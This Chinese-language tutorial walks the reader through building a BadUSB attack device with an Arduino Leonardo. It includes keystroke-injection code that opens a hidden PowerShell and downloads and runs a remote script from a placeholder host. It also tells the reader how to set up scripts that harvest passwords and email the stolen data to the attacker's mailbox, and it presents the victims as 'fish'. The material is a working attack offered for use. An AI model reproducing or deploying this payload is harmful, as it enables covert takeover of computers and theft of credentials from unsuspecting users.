在文章开始之前我们先看看badusb内部构造
在接下来看看BadUSB HID的攻击原理以及优势
HID是Human Interface Device的缩写,由其名称可以了解HID设备是直接与人交互的设备,。一般来讲针对HID的攻击主要集中在键盘鼠标上,因为只要控制了用户键盘,基本上就等于控制了用户的电脑。攻击者会把攻击隐藏在一个正常的鼠标键盘中,当用户将含有攻击向量的鼠标或键盘,插入电脑时,恶意代码会被加载并执行。简而言之,本文要介绍的Badusb利用的是虚拟键盘来实现恶意代码的执行。
而优势在于攻击者将恶意代码存放于Badusb的固件中,PC上的杀毒软件无法访问到U盘存放固件的区域,因此也就意味着杀毒软件无法应对BadUSB的攻击。
BadUSB攻击流程
Bad-Usb插入后,会模拟键盘对电脑进行操作,通过这些操作打开电脑的命令终端,并执行一条命令,这条命令将从指定网址下载恶意代码(通常为powershell脚本)并于后台静默运行。这些代码功能包括:窃取信息、反弹shell、发送邮件等,从而实现控制目标机或者窃取信息的目的。
本文中我们使用
软件:arduino
硬件如图
需安装Teensyduino驱动
需要注意的是安装路径得同ardunio的安装路径
在正式开始烧写之前,我们需要下载BadUSB代码文件
就这玩意儿
修改main.ps1文件,如下图
将勾选部分xxx.xxx修改为自己域名
修改勾选部分
发信服务器如smtp.qq.com/smtp.163.com
邮箱账号/密码(授权码)
邮件标题如”BadUSB新鱼儿来啦“
邮件内容如“BadUSB获取结果”
修改GetPass.ps1文件前两行勾选部分为自己域名
同时修改第6行开始的发信配置,如main.ps1文件一样修改即可。此处不过多赘述
将修改后的全部文件用HFS上传到服务器(注意服务器需要外网访问,hfs网络文件服务器百度下载即可)
将硬件插入Usb接口并输入windows +R 输入命令devmgmt.msc打开设备管理器
查看串口信息
打开Arduino IDE并根据以下路径 工具->版->选择“Arduino Leonardo”
port选择串口信息相符的
void setup(){ Keyboard.begin(); delay(5000); Keyboard.press(KEY_LEFT_GUI); delay(500); Keyboard.press(‘r’); delay(500); Keyboard.release(KEY_LEFT_GUI); Keyboard.release(‘r’); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); delay(500); Keyboard.println(“CMD”); delay(500); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(3000); Keyboard.println(“powershell -Windowstyle hidden IEX (New-Object Net.WebClient).DownloadString(‘http://xx.xxx.xx/main.ps1’) “); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); Keyboard.end(); } void loop() {}
将改代码烧写入硬件
xx.xxx.xx修改为自己的地址
然后就没了…
附件下载